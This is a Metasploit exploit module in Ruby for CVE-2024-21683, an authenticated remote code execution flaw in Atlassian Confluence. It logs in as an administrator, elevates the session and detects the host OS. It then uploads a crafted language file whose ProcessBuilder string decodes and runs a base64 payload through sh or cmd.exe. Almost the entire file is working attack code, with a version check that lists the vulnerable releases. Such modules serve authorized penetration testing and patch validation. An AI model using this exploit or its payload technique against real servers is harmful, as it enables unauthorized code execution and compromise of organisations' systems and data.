##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::Atlassian::Confluence::Version

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Atlassian Confluence Administrator Code Macro Remote Code Execution',
        'Description' => %q{
          This module exploits an authenticated administrator-level vulnerability in Atlassian Confluence,
          tracked as CVE-2024-21683. The vulnerability exists due to the Rhino script engine parser evaluating
          tainted data from uploaded text files. This facilitates arbitrary code execution. This exploit will
          authenticate, validate user privileges, extract the underlying host OS information, then trigger
          remote code execution. All versions of Confluence prior to 7.17 are affected, as are many versions
          up to 8.9.0.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Ankita Sawlani', # Discovery
          'Huong Kieu', # Public Analysis
          'W01fh4cker', # PoC Exploit
          'remmons-r7'  # MSF Exploit
        ],
        'References' => [
          ['CVE', '2024-21683'],
          ['URL', 'https://jira.atlassian.com/browse/CONFSERVER-95832'],
          ['URL', 'https://realalphaman.substack.com/p/quick-note-about-cve-2024-21683-authenticated'],
          ['URL', 'https://github.com/W01fh4cker/CVE-2024-21683-RCE']
        ],
        'DisclosureDate' => '2024-05-21',
        'Privileged' => false, # `NT AUTHORITY\NETWORK SERVICE` on Windows by default, `confluence` on Linux by default.
        'Platform' => ['unix', 'linux', 'win'],
        'Arch' => [ARCH_CMD],
        'DefaultTarget' => 0,
        'Targets' => [ [ 'Default', {} ] ],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          # The access log files will contain requests to the exploitable administrator dashboard endpoints.
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        # By default, Confluence serves an HTTP service on TCP port 8090.
        Opt::RPORT(8090),
        OptString.new('TARGETURI', [true, 'The URI path to Confluence', '/']),
        OptString.new('ADMIN_USER', [true, 'The Confluence administrator username', '']),
        OptString.new('ADMIN_PASS', [true, 'The Confluence administrator password', ''])
      ]
    )
  end

  def check
    # Begin by retrieving the version string from the login page.
    version = get_confluence_version
    return CheckCode::Unknown('Failed to determine the Confluence version') unless version

    # Check the extracted version against all documented vulnerable versions.
    if version == Rex::Version.new('8.9.0') ||
       version.between?(Rex::Version.new('8.8.0'), Rex::Version.new('8.8.1')) ||
       version.between?(Rex::Version.new('8.7.0'), Rex::Version.new('8.7.2')) ||
       version.between?(Rex::Version.new('8.6.0'), Rex::Version.new('8.6.2')) ||
       version.between?(Rex::Version.new('8.5.0'), Rex::Version.new('8.5.8')) ||
       version.between?(Rex::Version.new('8.4.0'), Rex::Version.new('8.4.5')) ||
       version.between?(Rex::Version.new('8.3.0'), Rex::Version.new('8.3.4')) ||
       version.between?(Rex::Version.new('8.2.0'), Rex::Version.new('8.2.3')) ||
       version.between?(Rex::Version.new('8.1.0'), Rex::Version.new('8.1.4')) ||
       version.between?(Rex::Version.new('8.0.0'), Rex::Version.new('8.0.4')) ||
       version.between?(Rex::Version.new('7.20.0'), Rex::Version.new('7.20.3')) ||
       version.between?(Rex::Version.new('7.19.0'), Rex::Version.new('7.19.21')) ||
       version.between?(Rex::Version.new('7.18.0'), Rex::Version.new('7.18.3')) ||
       version.between?(Rex::Version.new('7.17.0'), Rex::Version.new('7.17.5')) ||
       # According to Atlassian, all versions < 7.17 are vulnerable.
       version.between?(Rex::Version.new('0.0.0'), Rex::Version.new('7.16.999'))
      Exploit::CheckCode::Appears("Exploitable version of Confluence: #{version}")
    else
      Exploit::CheckCode::Safe("Non-exploitable version of Confluence: #{version}")
    end
  end

  def login(username, password)
    # Perform a POST request to login to Confluence with the provided credentials.
    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'dologin.action'),
      'keep_cookies' => 'true',
      'vars_post' => {
        'os_username' => username,
        'os_password' => password,
        'os_destination' => '%2FXsuccessX'
      }
    )
  end

  def elevate
    # Elevates the current administrator session. By default, administrator sessions will remain elevated for two minutes after this takes place.
    vprint_status('Secure Administrator Sessions enabled - elevating session')

    # Grab a CSRF token from the elevation page form.
    csrf_elevation = get_csrf('doauthenticate.action', 'elevation')

    # With the valid elevation token, escalate the current administrator session.
    res_elevate = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'doauthenticate.action'),
      'keep_cookies' => 'true',
      'vars_post' => {
        'atl_token' => csrf_elevation,
        'password' => datastore['ADMIN_PASS'],
        'authenticate' => 'Confirm',
        'destination' => '%2FXsuccessX'
      }
    )

    # Connection failure, no response, or malformed response.
    fail_with(Failure::Unknown, 'Target did not respond as expected during privilege elevation') unless res_elevate

    # Confirm that the response indicates a successful elevation.
    fail_with(Failure::UnexpectedReply, 'The session elevation appears to have failed') unless res_elevate.code == 302 && res_elevate.headers['Location'].include?('XsuccessX')

    vprint_status('Administrator session has been elevated')
  end

  def get_csrf(page, operation)
    # Perform a GET request to the target page to grab a CSRF token.
    res_get_csrf = send_request_cgi(
      'method' => 'GET',
      'keep_cookies' => 'true',
      'uri' => normalize_uri(target_uri.path, page)
    )

    # Connection failure, no response, or malformed response.
    fail_with(Failure::Unknown, "Target did not respond as expected when fetching #{operation} CSRF token") unless res_get_csrf

    # If the response is not 200 and does not contain the string "atl_token", the target page has behaved unexpectedly.
    fail_with(Failure::UnexpectedReply, "Target returned a response that did not contain #{operation} CSRF token") unless res_get_csrf.code == 200 && res_get_csrf.body.include?('atl_token')

    # Response page should contain '<input type="hidden" name="atl_token" value="tokenhere">'.
    csrf_token = res_get_csrf.get_xml_document.xpath('//input[@name="atl_token"]').first&.values&.[](2)

    # Token should be 40 characters.
    fail_with(Failure::UnexpectedReply, "Target did not return the expected 40-character #{operation} CSRF token") unless csrf_token&.length == 40

    vprint_status("Grabbed #{operation} CSRF token: #{csrf_token}")

    csrf_token
  end

  def get_host_os
    # Elevated Confluence administrators can view system information, which will be used to confirm the target OS.
    res_sysinfo = send_request_cgi(
      'method' => 'GET',
      'keep_cookies' => 'true',
      'uri' => normalize_uri(target_uri.path, 'admin', 'systeminfo.action')
    )

    # Connection failure, no response, or malformed response.
    fail_with(Failure::Unknown, 'Target did not respond as expected while getting host OS') unless res_sysinfo

    # Confirm that the response is the expected system info page.
    fail_with(Failure::UnexpectedReply, 'The system information page failed to return the expected data') unless res_sysinfo.code == 200 && res_sysinfo.body.include?('operating.system')

    # Extract the OS string from the response DOM.
    os = res_sysinfo.get_xml_document.xpath('//span[@id="operating.system"]').first&.text
    vprint_status("Target returned the operating system string '#{os}'")

    # If the string begins with "win", assume the host is Windows. If it's anything else, assume it's something Unix-based.
    os.downcase.start_with?('win') ? 'win' : 'nix'
  end

  def upload_payload(shell)
    # Grab a valid macro dashboard CSRF token.
    csrf_macro = get_csrf('/admin/plugins/newcode/configure.action', 'macro')

    # Initialize a multipart form.
    payload_form = Rex::MIME::Message.new

    # ProcessBuilder string - this will inject the sh/cmd.exe sequence as the first two args and decode the base64 msf fetch payload as the third.
    payload_string = "new java.lang.ProcessBuilder(#{shell}, new java.lang.String(java.util.Base64.getDecoder().decode('#{Rex::Text.encode_base64(payload.encoded)}'))).start()"

    # Add the CSRF token, payload file, and 'newLanguageName' value. Both the 'languageFile' name and the 'newLanguageName' value can be any string.
    payload_form.add_part(csrf_macro, 'text/plain', 'binary', 'form-data; name="atl_token"')
    payload_form.add_part(payload_string, 'text/plain', 'binary', "form-data; name=\"languageFile\"; filename=\"#{rand_text_hex(10)}\"")
    payload_form.add_part(rand_text_hex(10), 'text/plain', 'binary', 'form-data; name="newLanguageName"')

    vprint_status("Crafted ProcessBuilder payload string: #{payload_string}")
    vprint_status('Sending POST request to trigger code execution')

    # POST the multipart form for code execution. A neutral error will be returned in the web response, which we can ignore.
    res_upload = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'admin', 'plugins', 'newcode', 'addlanguage.action'),
      'keep_cookies' => 'true',
      'ctype' => "multipart/form-data; boundary=#{payload_form.bound}",
      'data' => payload_form.to_s
    )

    # Connection failure, no response, or malformed response.
    print_error('Target did not respond as expected during code execution attempt') unless res_upload

    # If the response to the multipart request does not return a 200.
    print_error('The application returned a non-200 response during code execution attempt') unless res_upload.code == 200
  end

  def exploit
    # Authenticate to Confluence.
    res_login = login(datastore['ADMIN_USER'], datastore['ADMIN_PASS'])

    # Connection failure, no response, or malformed response.
    fail_with(Failure::Unknown, 'Target did not respond as expected during authentication') unless res_login

    # If authentication does not result in a redirect with the provided "XsuccessX" 'Location' header value.
    fail_with(Failure::BadConfig, 'The target did not accept the provided credentials') unless res_login.code == 302 && res_login.headers['Location'].include?('XsuccessX')

    vprint_status('Successfully authenticated to Confluence')

    # Attempt to fetch a privileged page with the provided valid credentials to confirm the user is an administrator.
    res_check_admin = send_request_cgi(
      'method' => 'GET',
      'keep_cookies' => 'true',
      'uri' => normalize_uri(target_uri.path, 'admin', 'console.action')
    )

    # Connection failure, no response, or malformed response.
    fail_with(Failure::Unknown, 'Target did not respond as expected during privilege check') unless res_check_admin

    # If a 'Location' header is returned in the response, the current session doesn't have full privileges.
    if res_check_admin.headers['Location']

      # Confluence will redirect to the login page if the current user does not have admin privileges, so check for that here.
      if res_check_admin.headers['Location'].include?('login.action')
        fail_with(Failure::BadConfig, 'The provided credentials are valid, but the user does not have administrative privileges')
      end

      vprint_status('The provided user is an administrator')

      # Check whether Secure Administrator Sessions feature (sudo-like elevation prompt) is enabled. This feature is default on newer versions.
      if res_check_admin.headers['Location'].include?('authenticate.action')
        elevate
      end

    # User is an administrator and Secure Administrator Sessions is disabled.
    else
      vprint_status('The provided user is an administrator')
    end

    # As an administrator, check the host OS for selection between sh/cmd.exe in payload
    shell = get_host_os == 'win' ? '"cmd.exe", "/c"' : '"/bin/sh", "-c"'

    # Upload a text file containing a payload to be evaluated by the script engine
    upload_payload(shell)
  end

end
